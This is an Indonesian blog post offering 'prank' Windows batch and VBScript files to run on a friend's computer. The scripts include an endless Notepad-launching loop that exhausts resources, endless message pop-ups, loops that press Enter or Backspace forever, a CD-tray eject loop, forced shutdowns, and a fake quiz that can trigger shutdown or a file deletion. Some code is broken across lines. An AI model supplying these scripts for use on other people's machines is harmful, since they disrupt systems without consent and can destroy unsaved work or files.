Script Jahil Notepad

Script ini iseng iseng aja buat kerjain temen wkwk. Script sederhana yang penggunaannya juga hanya menggunakan notepad. Cara penggunaannya adalah mencopy script dibawah ini dan mempastekannya di notepad PC agan dan simpan dengan ekstensi tertentu. langsung aja nih scriptnya :

Buka notepad terus menerus

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Simpan dengan nama hdcode.bat

Keyboard Disko (wkwk ini buat nyalain lampu Capslock, Numlock, dan Scroll Lock secara bergantian dengan cepat. Terkesan seperti lampu disko)

set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys"{CAPSLOCK}"
wshshell.sendkeys"{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

Simpan dengan nama hdcode.vbs

Kuis Jahil 

@echo off
title quiz hari ini
:menu
cls
echo jika agan kena virus apa
yang agan lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka agan jelek sih
msg * ngaca dulu gih
msg * hayo lo gan,cpu ente ane
acak2
msg * ud install ulang aja
msg * biar masalah nya kelar,
hihihi
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

Simpan dengan nama hdcode.bat

Message berulang - ulang

@ECHO off
:Begin
msg * Jontor Virus Beraksi
msg * Muka lo jelek - ngaca dulu gih
msg * hayo lo,cupu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

Simpan dengan nama hdcode.bat


Otomatis nulis "agan maho"

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys "gan "
WScript.Sleep 50
WshShell.SendKeys "ma"
WScript.Sleep 50
WshShell.SendKeys "ho"
WScript.Sleep 50
WshShell.SendKeys " ba"
WScript.Sleep 50
WshShell.SendKeys "ng"
WScript.Sleep 50
WshShell.SendKeys "et"
WScript.Sleep 50
WshShell.SendKeys " d"
WScript.Sleep 50
WshShell.SendKeys "e"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

Simpan dengan nama hdcode.vbs

Komputer otomatis shutdown disertai pesan

@echo off

msg * apaan sih lo

shutdown -s -c "Error! muka agan standar abis"

Simpan dengan nama hdcode.bat

Memainkan tombol Capslock 

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

Simpan dengan nama hdcode.vbs

Buka Tutup CD Rom otomatis

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

 Simpan dengan nama hdcode.vbs

Tekan Enter terus menerus 

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

 Simpan dengan nama hdcode.vbs

Menekan tombol Backspace terus menerus 

MsgBox "kembali ke menu sebelumnya"

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop

 Simpan dengan nama hdcode.vbs

HDCode - Free Website Tutorial

Artikel Script Jahil Notepad ini ditulis oleh Huda Cooyz pada hari Minggu, 09 Desember 2012. Semoga artikel ini dapat bermanfaat.Terimakasih atas kunjungan Anda silahkan tinggalkan komentar. Sudah ada 0 komentar: di postingan Script Jahil Notepad